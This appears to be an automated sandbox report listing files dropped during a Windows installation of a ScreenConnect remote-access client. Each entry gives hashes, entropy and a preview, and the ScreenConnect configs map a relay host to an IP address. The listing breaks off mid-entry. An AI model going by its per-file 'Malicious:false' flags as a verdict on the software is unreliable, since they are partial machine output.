                                                                                        SSDEEP:1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26Kgauo:zTtbmkExhMJCIpErN
                                                                                        MD5:8D35922C3DFBD0BBED6FF3E5309A8B81
                                                                                        SHA1:E4E0D8749539E4360A8E0795BB4E99404D4AB720
                                                                                        SHA-256:D2619EF0B950CB468B247D349F1CD8DFC39B5B71191C8B4A1A0261546757F7B2
                                                                                        SHA-512:CFB022D189885393F49001BE6CDA9F924DD060D80C3D444A19DCD58BC8223E464D00CC698330700C05BB7247C5E1B382241A53375B94301931D7757FB4ABF70C
                                                                                        Malicious:false
                                                                                        Preview:.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

                                                                                        C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\svchost.exe
                                                                                        File Type:JSON data
                                                                                        Category:dropped
                                                                                        Size (bytes):55
                                                                                        Entropy (8bit):4.306461250274409
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                                                        MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                                                        SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                                                        SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                                                                                        SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                                                        Malicious:false
                                                                                        Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

                                                                                        C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\0hs00sh4.newcfg

                                                                                        Download File
                                                                                        Process:C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe
                                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):584
                                                                                        Entropy (8bit):5.04060637692126
                                                                                        Encrypted:false
                                                                                        SSDEEP:12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONldAY8+iF1v/vXbAa3xT:2dL9hK6E46YPRd3QvH
                                                                                        MD5:ED38B21960AA853FAAEDE86DF21C7A54
                                                                                        SHA1:A1E62333989DA0DF9382D823134904EC2801A04A
                                                                                        SHA-256:C929430389EBCCE74E1D37F28DB80FE3D33106E0AB61E7199B72B6E6241719E4
                                                                                        SHA-512:8668217CEC1F14110E2BF3B3C0AD1301305E49EE5E9C32F5683287A84157DB7EC07359E057EFCB7FF0CDFBA14E4CC0F819B5F06055A24A32CDA1F95B74AF5F69
                                                                                        Malicious:false
                                                                                        Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-xkznvd-relay.screenconnect.com=147.75.63.168-27%2f10%2f2024%2011%3a01%3a17</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

                                                                                        C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\1ot0kljn.newcfg

                                                                                        Download File
                                                                                        Process:C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe
                                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):584
                                                                                        Entropy (8bit):5.043656912308449
                                                                                        Encrypted:false
                                                                                        SSDEEP:12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONldAY8+iLC/vXbAa3xT:2dL9hK6E46YPRd3yIvH
                                                                                        MD5:8FDACC4D87DBC9DFD47AA69A86E04281
                                                                                        SHA1:0F73E9F9FE56D4C96656C5BD58FB9BA4F5CA686D
                                                                                        SHA-256:332501C21EDE52D2D5504B6C842E07F3559E08411B4CE9B092BB09CA692FBC68
                                                                                        SHA-512:E2BFE360C747B4489E59EF230918E1B668C035B924AA2C71570C7B79C1E66469DD70FB77376102767DA60ED68C571AC7F0C12B1F8DDF915D5E6CA80DD3C14BA3
                                                                                        Malicious:false
                                                                                        Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-xkznvd-relay.screenconnect.com=147.75.63.168-27%2f10%2f2024%2011%3a02%3a48</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

                                                                                        C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\3mrf34qd.newcfg

                                                                                        Download File
                                                                                        Process:C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe
                                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):584
                                                                                        Entropy (8bit):5.04180705706623
                                                                                        Encrypted:false
                                                                                        SSDEEP:12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONldAY8+iLPm/vXbAa3xT:2dL9hK6E46YPRd3yUvH
                                                                                        MD5:8C9E9B27925C5FFE32EAF6732D601B66
                                                                                        SHA1:E0D7547285758CE0D45C23E89A7D78C3DC4DC129
                                                                                        SHA-256:442195EB1CB640436D2F561E102D17B11E89EB5AAA5390832BBFD43B39BCDF8F
                                                                                        SHA-512:76079D73C9C17C59CBA68A999792559C21616115F60AC86937BB57CCB75CA525A7DFFB75392A671364ADC45783C76B729160EA19AB0393870D79A32A40148933
                                                                                        Malicious:false
                                                                                        Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-xkznvd-relay.screenconnect.com=147.75.63.168-27%2f10%2f2024%2011%3a02%3a08</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

                                                                                        C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\blegu5ad.newcfg

                                                                                        Download File
                                                                                        Process:C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe
                                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):584
                                                                                        Entropy (8bit):5.0411037982490905
                                                                                        Encrypted:false
                                                                                        SSDEEP:12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONldAY8+iFz05/vXbAa3xT:2dL9hK6E46YPRd3w0RvH
                                                                                        MD5:49905342A89DE78BDF52135CDF976607
                                                                                        SHA1:17F062A0B41C63C537D5D22327119C79D8A7F3BB
                                                                                        SHA-256:D03A0E5879C8494C54B2D837CF70C6A8FBE914EF43F541E0C570ACDDA2CA7B7F
                                                                                        SHA-512:710ADC9734B2F612597F54DE760315656FCE0CD1C9E8B18A1E08768341BF8361E23DE1BBEDD4AF988AE164AC9E0D8C244119C4B8E66C28879ECF2F59E2C57A50
                                                                                        Malicious:false
                                                                                        Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-xkznvd-relay.screenconnect.com=147.75.63.168-27%2f10%2f2024%2011%3a01%3a14</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

                                                                                        C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\cksz2bob.newcfg

                                                                                        Download File
                                                                                        Process:C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe
                                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):584
                                                                                        Entropy (8bit):5.039253943006872
                                                                                        Encrypted:false
                                                                                        SSDEEP:12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONldAY8+iFj/vXbAa3xT:2dL9hK6E46YPRd3SvH
                                                                                        MD5:60D96EB877FCC4789BAEDC81FC74897B
                                                                                        SHA1:947B662C20AAE2C85AE3DA7E5191D98C29C078CA
                                                                                        SHA-256:199EC99920ED9C1E5A1AFE9F5EA442156BFC928D5C9783D448DA7BF3FD9C1721
                                                                                        SHA-512:FA7C382E2A1F170A4E59CA2DEF6BE8B09CC33DCFA354F04B968667263B071ED8CCC65AFB28C49C0D6E20586E791A38FE279D6F522C9E664579E06093CA91F3E8
                                                                                        Malicious:false
                                                                                        Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-xkznvd-relay.screenconnect.com=147.75.63.168-27%2f10%2f2024%2011%3a01%3a11</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

                                                                                        C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\hfe01imn.newcfg

                                                                                        Download File
                                                                                        Process:C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe
                                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):584
                                                                                        Entropy (8bit):5.04019272123601
                                                                                        Encrypted:false
                                                                                        SSDEEP:12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONldAY8+iFy/vXbAa3xT:2dL9hK6E46YPRd3RvH
                                                                                        MD5:18C4B6F773CABB481114EB1229567510
                                                                                        SHA1:C8211B81DD599C02B35AFCF3B6B41DBCC07B9096
                                                                                        SHA-256:481E4C1312043DF42BD91F25C45502BF3962DCE4ECFBD416A80B0609B699D3B2
                                                                                        SHA-512:A7548994E81774E4E4CA3412C4AB7BF04139C06D06D1D553C93E11385C62523789C0FFE9465B99D064A1752928E37F74C155B83608EE5CE9325EC98BB9553D35
                                                                                        Malicious:false
                                                                                        Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-xkznvd-relay.screenconnect.com=147.75.63.168-27%2f10%2f2024%2011%3a01%3a21</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

                                                                                        C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\jfhfu5lw.newcfg

                                                                                        Download File
                                                                                        Process:C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe
                                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):584
                                                                                        Entropy (8bit):5.042805370954041
                                                                                        Encrypted:false
                                                                                        SSDEEP:12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONldAY8+iFpv/vXbAa3xT:2dL9hK6E46YPRd38vH
                                                                                        MD5:166B279BE32760406C19022F2C44302B
                                                                                        SHA1:5A2364D4EF18A02CC581EBA513FFEE125096C105
                                                                                        SHA-256:08BDDF3F0FAB017B24DC9FD8B1F8B881391E921D05741299D642FA00F6A407D9
                                                                                        SHA-512:83CD36ED9A1BC2197AF96F79434554F6F2E3866E29F353D78098D1EAED34DF191E14A1513597198A5D949D712E55F19B574C0F0BBD1194CC3DFFE761A3EF86AE
                                                                                        Malicious:false
                                                                                        Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-xkznvd-relay.screenconnect.com=147.75.63.168-27%2f10%2f2024%2011%3a01%3a57</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

                                                                                        C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\qf3laj4y.newcfg

                                                                                        Download File
                                                                                        Process:C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe
                                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                        Category:modified
                                                                                        Size (bytes):584
                                                                                        Entropy (8bit):5.043656912308449
                                                                                        Encrypted:false
                                                                                        SSDEEP:12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONldAY8+id/vXbAa3xT:2dL9hK6E46YPRd3+vH
                                                                                        MD5:65808D93B0DFF096E7864916F42ADA9C
                                                                                        SHA1:03A7932052A7377B7B471D6462599DFCC2A80A82
                                                                                        SHA-256:BA40CDFF731BA42ECD25B0072F993E11E68FB5912FC9B07752A8F93E0041F527
                                                                                        SHA-512:A51974800E427A3BC35642074844F5640D265DF4C238BAB693AD6EFCDCB66E59A3F1D48AED4C39F21DAF3A6FAF50C5805188DA0AC13356A0ACA4003712DE8C58
                                                                                        Malicious:false
                                                                                        Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-xkznvd-relay.screenconnect.com=147.75.63.168-27%2f10%2f2024%2011%3a03%3a26</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

                                                                                        C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\rs24xzl1.newcfg

                                                                                        Download File
                                                                                        Process:C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe
                                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):584
                                                                                        Entropy (8bit):5.042391715268791
                                                                                        Encrypted:false
                                                                                        SSDEEP:12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONldAY8+iLK/vXbAa3xT:2dL9hK6E46YPRd3ygvH
                                                                                        MD5:711B94521655A1D3893E893EB0C3679E
                                                                                        SHA1:1E4CC50FA364C53B55FC67EC427BB7626A1B81DB
                                                                                        SHA-256:23C9B565550480BB60C28890F5B37DB6955B53C527B737F6CFE7A9F91788443C
                                                                                        SHA-512:D2C8D107E51782150C77045474FDB083CB0540537042A805FF89EFF59945D64017CB54451AE11B53AEB862EE6ADD4239F6089B16CC86CE5C8A75CA67BA89FFAC
                                                                                        Malicious:false
                                                                                        Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-xkznvd-relay.screenconnect.com=147.75.63.168-27%2f10%2f2024%2011%3a02%3a26</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

                                                                                        C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\user.config (copy)

                                                                                        Download File
                                                                                        Process:C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe
                                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):584
                                                                                        Entropy (8bit):5.039253943006872
                                                                                        Encrypted:false
                                                                                        SSDEEP:12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONldAY8+iFj/vXbAa3xT:2dL9hK6E46YPRd3SvH
                                                                                        MD5:60D96EB877FCC4789BAEDC81FC74897B
                                                                                        SHA1:947B662C20AAE2C85AE3DA7E5191D98C29C078CA
                                                                                        SHA-256:199EC99920ED9C1E5A1AFE9F5EA442156BFC928D5C9783D448DA7BF3FD9C1721
                                                                                        SHA-512:FA7C382E2A1F170A4E59CA2DEF6BE8B09CC33DCFA354F04B968667263B071ED8CCC65AFB28C49C0D6E20586E791A38FE279D6F522C9E664579E06093CA91F3E8
                                                                                        Malicious:false
                                                                                        Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-xkznvd-relay.screenconnect.com=147.75.63.168-27%2f10%2f2024%2011%3a01%3a11</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

                                                                                        C:\Windows\Temp\~DF000A2F18FE5F71DF.TMP

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:Composite Document File V2 Document, Cannot read section info
                                                                                        Category:dropped
                                                                                        Size (bytes):32768
                                                                                        Entropy (8bit):1.4137977574438754
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:J4bu31veFXJZT50UuN+nyqcq56AduNSi4+idRxNLr7Qn3wiz2+Oo8rGAduNSIDM/:abXBTOjWHpofedh/+/z
                                                                                        MD5:D7A8BD7E8363A57F97A78BB4BCB01E87
                                                                                        SHA1:BC3EDA6B698031DCE784EBBCA78A5E5BC1B9384E
                                                                                        SHA-256:B421E43CE814FDF645C7C0B8B0C5D47171B9445F65230AB7602C55F66870017C
                                                                                        SHA-512:9EA55CE97B36280E92BD851E87517DC760E9202CB8613097267BBFB47F008D1119F4D6D6E82EC22B74AA58C07C1B03774C11BD50CD99CA6D0C92AC621F1AA523
                                                                                        Malicious:false
                                                                                        Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Temp\~DF019CE7C0A5B2437B.TMP

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):32768
                                                                                        Entropy (8bit):0.0726981486420094
                                                                                        Encrypted:false
                                                                                        SSDEEP:6:2/9LG7iVCnLG7iVrKOzPLHKOEYclVWxUrBlXSVky6lV1:2F0i8n0itFzDHFEYjUrl/
                                                                                        MD5:47C891582E304FA1D6CF8AB46C832F2A
                                                                                        SHA1:6D38C9090542C887988287F527CAC63AFA4DE60D
                                                                                        SHA-256:2147513B9015806A613CCB458693409B302701FB5CC92BE994DE558EF06453A2
                                                                                        SHA-512:C376F6F91468E354E94AD9706CE5C69F72315B75CAEE42FBB878994D02EBFFEEB5D78175D62557E8F5F327B23B2E39305C35871F660FD8D02DCAF10864F7AE8F
                                                                                        Malicious:false
                                                                                        Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Temp\~DF2494A6BC44E42AF5.TMP

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):512
                                                                                        Entropy (8bit):0.0
                                                                                        Encrypted:false
                                                                                        SSDEEP:3::
                                                                                        MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                        SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                        SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                        SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                        Malicious:false
                                                                                        Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Temp\~DF4CA68FC81904992E.TMP

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:Composite Document File V2 Document, Cannot read section info
                                                                                        Category:dropped
                                                                                        Size (bytes):20480
                                                                                        Entropy (8bit):1.789631956260909
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:38PhDuRc06WXJS/T5mN+nyqcq56AduNSi4+idRxNLr7Qn3wiz2+Oo8rGAduNSID+:2hD1J/TsWHpofedh/+/z
                                                                                        MD5:03D56FFAA10A5A406A3D3AC9E162D5E2
                                                                                        SHA1:E0542DE137FDDB1821079B26563B28EB64E10B9A
                                                                                        SHA-256:A88E6E057AA15425DD78A091D2CBCAF9BF152E5A63F756B1D6B766FBCF12419B
                                                                                        SHA-512:6FA628078449AB9C09D7ECFE177ED9DB4B8BC3383092C7576EB236489222D4DD32C17AC7D3EA56677ADA969C361834BCAB65DD1CD24BBD473BD320E2E3C231AD
                                                                                        Malicious:false
                                                                                        Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Temp\~DF7CFD00D2B9CF1245.TMP

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):69632
                                                                                        Entropy (8bit):0.231053373180817
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:koyyDBAduNS3qcq56AduNSi4+idRxNLr7Qn3wiz2+Oo8ryUN+:bLxpofedh/+NM
                                                                                        MD5:4FA76FF38B553798C9EA62B3D1D40D3A
                                                                                        SHA1:6034F7CC5A76465F22FC80B3DF811AFE298B0B0A
                                                                                        SHA-256:8D71026E3A94FAB5305A73D59EB604BB36FAEA5B1104C2EFA46329253CED751A
                                                                                        SHA-512:0F1F97CB5A25A6FF8B793BD6CAD8B50EB98711E814BBE23177A1C2D56999CC82CA581EF4DAB4F2871671EA4DC7CC152E42152D578BA7FCE9033B2251C78A5036
                                                                                        Malicious:false
                                                                                        Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Temp\~DF7F7BBB5808F7A4BF.TMP

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):512
                                                                                        Entropy (8bit):0.0
                                                                                        Encrypted:false
                                                                                        SSDEEP:3::
                                                                                        MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                        SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                        SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                        SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                        Malicious:false
                                                                                        Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Temp\~DF81A79EFFA436931A.TMP

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):512
                                                                                        Entropy (8bit):0.0
                                                                                        Encrypted:false
                                                                                        SSDEEP:3::
                                                                                        MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                        SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                        SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                        SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                        Malicious:false
                                                                                        Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Temp\~DFA1F2F1BCA8A5D13B.TMP

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:Composite Document File V2 Document, Cannot read section info
                                                                                        Category:dropped
                                                                                        Size (bytes):20480
                                                                                        Entropy (8bit):1.789631956260909
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:38PhDuRc06WXJS/T5mN+nyqcq56AduNSi4+idRxNLr7Qn3wiz2+Oo8rGAduNSID+:2hD1J/TsWHpofedh/+/z
                                                                                        MD5:03D56FFAA10A5A406A3D3AC9E162D5E2
                                                                                        SHA1:E0542DE137FDDB1821079B26563B28EB64E10B9A
                                                                                        SHA-256:A88E6E057AA15425DD78A091D2CBCAF9BF152E5A63F756B1D6B766FBCF12419B
                                                                                        SHA-512:6FA628078449AB9C09D7ECFE177ED9DB4B8BC3383092C7576EB236489222D4DD32C17AC7D3EA56677ADA969C361834BCAB65DD1CD24BBD473BD320E2E3C231AD
                                                                                        Malicious:false
                                                                                        Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Temp\~DFB45835977A3D2491.TMP

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):512
                                                                                        Entropy (8bit):0.0
                                                                                        Encrypted:false
                                                                                        SSDEEP:3::
                                                                                        MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                        SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                        SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                        SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                        Malicious:false
                                                                                        Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Temp\~DFBE7A72BF1EFE926A.TMP

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):512
                                                                                        Entropy (8bit):0.0
                                                                                        Encrypted:false
                                                                                        SSDEEP:3::
                                                                                        MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                        SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                        SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                        SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                        Malicious:false
                                                                                        Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Temp\~DFC6A6368BD6B77C5A.TMP

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
